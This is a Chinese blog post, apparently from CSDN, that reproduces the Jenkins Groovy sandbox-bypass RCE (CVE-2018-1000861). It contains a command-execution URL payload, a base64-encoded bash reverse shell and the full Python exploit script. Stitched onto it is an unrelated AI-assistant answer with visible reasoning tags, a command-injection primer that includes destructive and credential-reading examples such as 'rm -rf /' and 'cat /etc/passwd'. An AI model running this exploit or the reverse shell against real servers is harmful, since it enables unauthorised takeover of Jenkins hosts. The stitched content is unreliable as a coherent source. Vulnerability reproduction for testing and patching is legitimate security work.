【渗透测试】Jenkins远程命令执行漏洞(CVE-2018-1000861)

漏洞简介

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

影响版本

Jenkins主版本 <= 2.153
Jenkins LTS版本 <= 2.138.3

漏洞复现

查看jenkins版本

curl -s -I http://192.168.178.128:8080| grep X-Jenkins

在这里插入图片描述
命令执行创建文件夹

https://127.0.0.1:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public
class x {public x(){“touch /tmp/success”.execute()}}

在这里插入图片描述
nc反弹shell

python2 poc.py http://127.0.0.1:8080 “bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}”

POC源自vulhub:

#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
# 

import sys
import requests
from enum import Enum

# remove bad SSL warnings
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass


endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'

class mode(Enum):
    ACL_PATCHED = 0
    NOT_JENKINS = 1
    READ_ENABLE = 2
    READ_BYPASS = 3
    ENTRY_NOTFOUND = 999

def usage():
    print '''
  Usage:
    python exp.py <url> <cmd>
    '''

def _log(msg, fail=False):
    nb = '[*]'
    if fail:
        nb = '[-]'
    print '%s %s' % (nb, msg)

def _get(url, params=None):
    r = requests.get(url, verify=False, params=params)
    return r.status_code, r.content

def _add_bypass(url):
    return url + 'securityRealm/user/admin/'

def check(url):
    flag, accessible = mode.ACL_PATCHED, False

    # check ANONYMOUS_READ
    status, content = _get(url)
    if status == 200 and 'adjuncts' in content:
        flag, accessible = mode.READ_ENABLE, True
        _log('ANONYMOUS_READ enable!')
    elif status == 403:
        _log('ANONYMOUS_READ disable!')

        # check ACL bypass, CVE-2018-1000861
        status, content = _get(_add_bypass(url))
        if status == 200 and 'adjuncts' in content:
            flag, accessible = mode.READ_BYPASS, True
    else:
        flag = mode.NOT_JENKINS

    # check entry point, CVE-2019-1003005
    if accessible:
        if flag is mode.READ_BYPASS:
            url = _add_bypass(url)
        status, content = _get(url + endpoint)

        if status == 404:
            flag = mode.ENTRY_NOTFOUND

    return flag

def exploit(url, cmd):
    payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
    params = {
        'sandbox': True, 
        'value': payload
    }

    status, content = _get(url + endpoint, params)
    if status == 200:
        _log('Exploit success!(it should be :P)')
    elif status == 405:
        _log('It seems Jenkins has patched the RCE gadget :(')
    else:
        _log('Exploit fail with HTTP status [%d]' % status, fail=True)
        if 'stack trace' in content:
            for _ in content.splitlines():
                if _.startswith('Caused:'):
                    _log(_, fail=True)

if __name__ == '__main__':
    if len(sys.argv) != 3:
        usage()
        exit()

    url = sys.argv[1].rstrip('/') + '/'
    cmd = sys.argv[2]

    flag = check(url)
    if flag is mode.ACL_PATCHED:
        _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
    elif flag is mode.NOT_JENKINS:
        _log('Is this Jenkins?', fail=True)
    elif flag is mode.READ_ENABLE:
        exploit(url, cmd)
    elif flag is mode.READ_BYPASS:
        _log('Bypass with CVE-2018-1000861!')
        exploit(_add_bypass(url), cmd)
    else:
        _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)

修复建议:

Jenkins更新至安全版本。

<think>嗯,用户让我从零开始介绍命令执行漏洞。我需要先理清楚这个主题的基本概念,然后逐步展开,确保用户能够理解。首先,得定义什么是命令执行漏洞,可能还需要分清楚不同种类的命令执行漏洞,比如OS命令注入和远程代码执行(RCE)的区别。有时候用户可能不太清楚这两者的区别,所以需要明确说明。 接下来,应该解释漏洞产生的原因。这里需要提到应用程序如何处理用户输入,如果未正确过滤或转义,攻击者就能注入恶意命令。可能需要举一些例子,比如在Web应用中,用户输入的表单字段被直接拼接到系统命令中执行,导致漏洞。 然后,需要给出具体的示例,帮助用户更直观地理解。比如,PHP中的system函数调用,用户输入的部分直接传入,导致可以执行任意命令。同时,Python的例子可能也会有类似的情况,使用os.system时处理不当的问题。 还要说明漏洞的危害,这部分很重要,用户需要知道为什么这个漏洞危险。比如执行任意命令可能导致服务器被控制,数据泄露,内网渗透等等。同时,攻击者可能利用此漏洞进行进一步的攻击,比如安装后门,横向移动等。 防御措施部分,应该分点列出,每个措施简要说明。比如输入验证、使用安全函数、最小权限原则、白名单过滤、转义处理等。需要具体到不同编程语言中的安全函数,比如Python的subprocess模块,PHP的escapeshellarg等,这样用户知道如何在实际中应用。 可能还需要提到一些漏洞的变种或者高级利用方式,比如利用管道符、重定向符号,或者在Windows和Linux下的不同命令分隔符。这些细节能帮助用户更全面地了解攻击者的手段,从而更好地防御。 在思考过程中,还要注意用户可能的疑问点。比如,用户可能分不清命令执行和代码执行的区别,这时候需要明确区分。另外,用户可能想知道如何检测这类漏洞,可以建议代码审计、动态测试、使用工具如Burp Suite进行渗透测试等。 需要确保回答结构清晰,按照漏洞概述、原因、示例、危害、防御措施的结构来组织。每个部分用简短的段落,避免信息过载。同时,使用中文,保持口语化,但专业术语要准确。还要检查LaTeX格式是否正确,行内公式用$...$,独立公式用$$...$$,虽然在这个问题中可能用不到太多数学公式,但如果有相关部分需要注意。 最后,要检查是否有遗漏的重要点,比如实际案例(比如著名的漏洞事件),或者最新的趋势(比如在云环境中的命令执行漏洞)。不过作为基础介绍,可能不需要太深入,保持简洁明了即可。</think>好的,我将按照以下结构逐步介绍命令执行漏洞: #### 一、漏洞概述 命令执行漏洞(Command Injection)指攻击者通过构造恶意输入,使应用程序执行非预期的操作系统命令。常见于以下场景: - Web应用中调用系统命令处理用户输入 - 程序拼接未过滤的用户输入到命令行 - 服务端脚本直接执行系统命令(如PHP的`system()`、Python的`os.system()`) #### 二、漏洞产生原因 1. **未过滤的危险函数** 例如直接拼接用户输入到命令: ```php // PHP危险示例 $user_input = $_GET['ip']; system("ping -c 4 " . $user_input); ``` 若用户输入`8.8.8.8; rm -rf /`,将触发删除操作 2. **不安全的参数处理** 未对特殊字符(`|` `&` `;` `\n`等)进行转义 #### 三、漏洞示例 1. **基础注入** 输入`127.0.0.1 && ls /`,实际执行: ```bash ping 127.0.0.1 && ls / ``` 输出本机IP的ping结果**和**根目录文件列表 2. **多平台差异** - Linux:使用`;` `&&` `||`分隔命令 - Windows:使用`&` `|` `&&` `||` #### 四、漏洞危害 1. **服务器完全失控** - 执行`/bin/sh`获取shell - 下载并运行恶意程序 - 修改系统配置 2. **数据泄露** ```bash cat /etc/passwd # 读取用户信息 ps aux # 查看进程信息 ``` 3. **内网渗透** ```bash nmap 192.168.1.0/24 # 扫描内网 ssh横向移动 ``` #### 五、防御措施 1. **输入验证** - 白名单过滤(如IP地址仅允许数字和`.`) - 正则表达式检查:`/^[0-9\.]+$/` 2. **使用安全函数** - Python: ```python subprocess.run(['ping', '-c', '4', user_input], shell=False) ``` - PHP: ```php escapeshellarg($user_input); ``` 3. **最小权限原则** 运行服务的用户应限制权限: ```bash # 创建低权限用户 useradd -s /sbin/nologin appuser ``` 4. **禁用危险函数** 在php.ini中设置: ```ini disable_functions = system, exec, shell_exec ``` #### 六、检测方法 1. **代码审计** 搜索以下关键词: ```php system(), exec(), passthru(), popen() ``` ```python os.system(), subprocess.run(shell=True) ``` 2. **渗透测试** 使用Burp Suite等工具尝试注入: ``` ;sleep 10 # 观察响应延迟 | id # 查看命令回显 ``` #### 七、真实案例 - **CVE-2021-41773**:Apache HTTP Server路径穿越漏洞 - **Jenkins CLI RCE**:通过反序列化执行任意命令 需要更深入了解某个环节(如防御方法的具体实现、高级绕过技巧等),可以告诉我具体方向。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello_Brian

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值